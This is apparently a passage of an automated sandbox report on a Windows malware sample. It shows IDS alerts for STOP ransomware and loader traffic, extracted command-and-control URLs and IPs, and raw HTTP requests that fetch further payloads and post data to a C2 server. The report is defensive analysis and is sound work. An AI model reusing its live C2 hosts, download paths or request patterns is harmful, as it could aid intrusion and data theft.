Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: 8jvTeVxooN.exe, 00000004.00000003.2340019883.0000000003A74000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\e\ source: 8jvTeVxooN.exe, 00000004.00000003.2280340145.00000000036FB000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2281044676.000000000371C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\> source: 8jvTeVxooN.exe, 00000004.00000002.2352023888.00000000006F7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\dawixasaciceh-fahi4\xojiyace\mijicina.pdb source: 8jvTeVxooN.exe, 8jvTeVxooN.exe.1.dr
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error12704.txttxt* source: 8jvTeVxooN.exe, 00000004.00000003.2222590135.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222296038.00000000036D3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\ source: 8jvTeVxooN.exe, 00000004.00000003.2242006296.0000000003154000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2243923892.0000000003172000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2242673984.000000000315A000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2243015454.0000000003168000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222702605.0000000003178000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\OneDrive\logs\.pdb\J` source: 8jvTeVxooN.exe, 00000004.00000003.2343975906.00000000039C2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\y\\ta\7 source: 8jvTeVxooN.exe, 00000004.00000003.2349385724.00000000031AB000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2347555316.0000000003194000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\be\ source: 8jvTeVxooN.exe, 00000004.00000003.2331386938.000000000366E000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2330615956.000000000365F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\LocalCache\Roaming\Microsoft\Windows\Start Menu\Programs\.pdb\! source: 8jvTeVxooN.exe, 00000004.00000003.2343975906.00000000039C2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: 8jvTeVxooN.exe, 00000004.00000003.2242287588.0000000003718000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2241688254.00000000036D3000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222590135.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2243461413.000000000371B000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2242100794.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222296038.00000000036D3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\* source: 8jvTeVxooN.exe, 00000004.00000003.2222656039.00000000035BE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\> source: 8jvTeVxooN.exe, 00000004.00000003.2243604156.00000000036FB000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2241688254.00000000036D3000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222590135.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2242100794.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222296038.00000000036D3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: build2.exe, 00000008.00000002.2874123244.0000000020EAB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2873498296.000000001E968000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\Cache\zlw source: 8jvTeVxooN.exe, 00000004.00000002.2352023888.00000000006F7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\Jw source: 8jvTeVxooN.exe, 00000004.00000003.2281956656.00000000035C6000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2281124734.00000000035C6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\*M source: 8jvTeVxooN.exe, 00000004.00000003.2261146035.0000000003603000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2241944533.0000000003601000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2241374237.00000000035E4000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2261307600.0000000003637000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2242243160.0000000003611000.00000004.00000020.00020000.00000000.sdmp

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

System file written: C:\Users\user\AppData\Local\Temp\chrome.exe

Jump to behavior

Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	1_2_00410160
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	1_2_0040F730
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	1_2_0040FB98
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_0040F730
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_00410160 Sleep,PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_00410160
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	4_2_0040FB98

Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2036333 ET TROJAN Win32/Vodkagats Loader Requesting Payload 192.168.2.4:49733 -> 123.140.161.243:80
Source: Traffic	Snort IDS: 2020826 ET TROJAN Potential Dridex.Maldoc Minimal Executable Request 192.168.2.4:49733 -> 123.140.161.243:80
Source: Traffic	Snort IDS: 2833438 ETPRO TROJAN STOP Ransomware CnC Activity 192.168.2.4:49734 -> 85.11.159.22:80
Source: Traffic	Snort IDS: 2036333 ET TROJAN Win32/Vodkagats Loader Requesting Payload 192.168.2.4:49736 -> 85.11.159.22:80
Source: Traffic	Snort IDS: 2020826 ET TROJAN Potential Dridex.Maldoc Minimal Executable Request 192.168.2.4:49736 -> 85.11.159.22:80
Source: Traffic	Snort IDS: 2833438 ETPRO TROJAN STOP Ransomware CnC Activity 192.168.2.4:49742 -> 85.11.159.22:80
Source: Traffic	Snort IDS: 2833438 ETPRO TROJAN STOP Ransomware CnC Activity 192.168.2.4:49749 -> 85.11.159.22:80
Source: Traffic	Snort IDS: 2833438 ETPRO TROJAN STOP Ransomware CnC Activity 192.168.2.4:49760 -> 85.11.159.22:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199673019888
Source: Malware configuration extractor	URLs: http://cajgtus.com/test1/get.php

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 24 Apr 2024 05:37:03 GMTContent-Type: application/octet-streamContent-Length: 296448Last-Modified: Tue, 23 Apr 2024 19:19:16 GMTConnection: closeETag: "662809b4-48600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce d6 de 9e 8a b7 b0 cd 8a b7 b0 cd 8a b7 b0 cd 87 e5 6f cd 90 b7 b0 cd 87 e5 50 cd f6 b7 b0 cd 87 e5 51 cd a6 b7 b0 cd 83 cf 23 cd 83 b7 b0 cd 8a b7 b1 cd f8 b7 b0 cd 3f 29 55 cd 8b b7 b0 cd 87 e5 6b cd 8b b7 b0 cd 3f 29 6e cd 8b b7 b0 cd 52 69 63 68 8a b7 b0 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 47 05 fb 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0c 00 00 e6 00 00 00 30 60 01 00 00 00 00 6d 40 00 00 00 10 00 00 00 00 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 61 01 00 04 00 00 00 d6 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 dc 6a 01 00 64 00 00 00 00 40 60 01 66 ef 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 60 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 98 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 e4 00 00 00 10 00 00 00 e6 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 50 74 00 00 00 00 01 00 00 76 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 e4 b5 5e 01 00 80 01 00 00 36 02 00 00 60 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 66 ef 00 00 00 40 60 01 00 f0 00 00 00 96 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic

HTTP traffic detected: GET /profiles/76561199673019888 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 172.67.139.220 172.67.139.220
Source: Joe Sandbox View	IP Address: 123.140.161.243 123.140.161.243

Source: Joe Sandbox View

ASN Name: LGDACOMLGDACOMCorporationKR LGDACOMLGDACOMCorporationKR

Source: Joe Sandbox View	JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKKKJJJKJKFHJJJJECBUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 279Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DGDHJEGIEBFHDGDGHDHIUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDAAEHDHIIJKECBKEBAUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHCGDGIEBKJKFHJJKFCUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 5477Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqln.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Connection: Keep-AliveCache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

Code function: 1_2_0040CF10 _memset,InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

1_2_0040CF10

Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /profiles/76561199673019888 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /sqln.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dl/build2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: sdfjhuz.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: cajgtus.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: cajgtus.com
Source: global traffic	HTTP traffic detected: GET /files/1/build3.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: cajgtus.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: cajgtus.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: cajgtus.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: cajgtus.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: cajgtus.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: cajgtus.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: cajgtus.com

Source: build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: 8jvTeVxooN.exe, 00000004.00000003.1980993386.0000000003580000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.facebook.com/ equals www.facebook.com (Facebook)
Source: 8jvTeVxooN.exe, 00000004.00000003.1981282697.0000000003580000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.twitter.com/ equals www.twitter.com (Twitter)
Source: 8jvTeVxooN.exe, 00000004.00000003.1981386990.0000000003580000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.youtube.com/ equals www.youtube.com (Youtube)

Source: unknown

DNS traffic detected: queries for: api.2ip.ua

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKKKJJJKJKFHJJJJECBUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 279Connection: Keep-AliveCache-Control: no-cache

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Mini web server 1.0 ZTE corp 2005.Accept-Ranges: bytesConnection: closeContent-Type: text/html; charset=iso-8859-1Cache-Control: no-cache,no-storeData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 32 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 27 2f 74 65 73 74 31 2f 67 65 74 2e 70 68 70 3f 70 69 64 3d 46 38 41 46 43 44 43 34 45 38 30 30 41 33 33 31 39 46 46 42 33 34 33 45 38 33 30 39 39 36 33 37 27 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 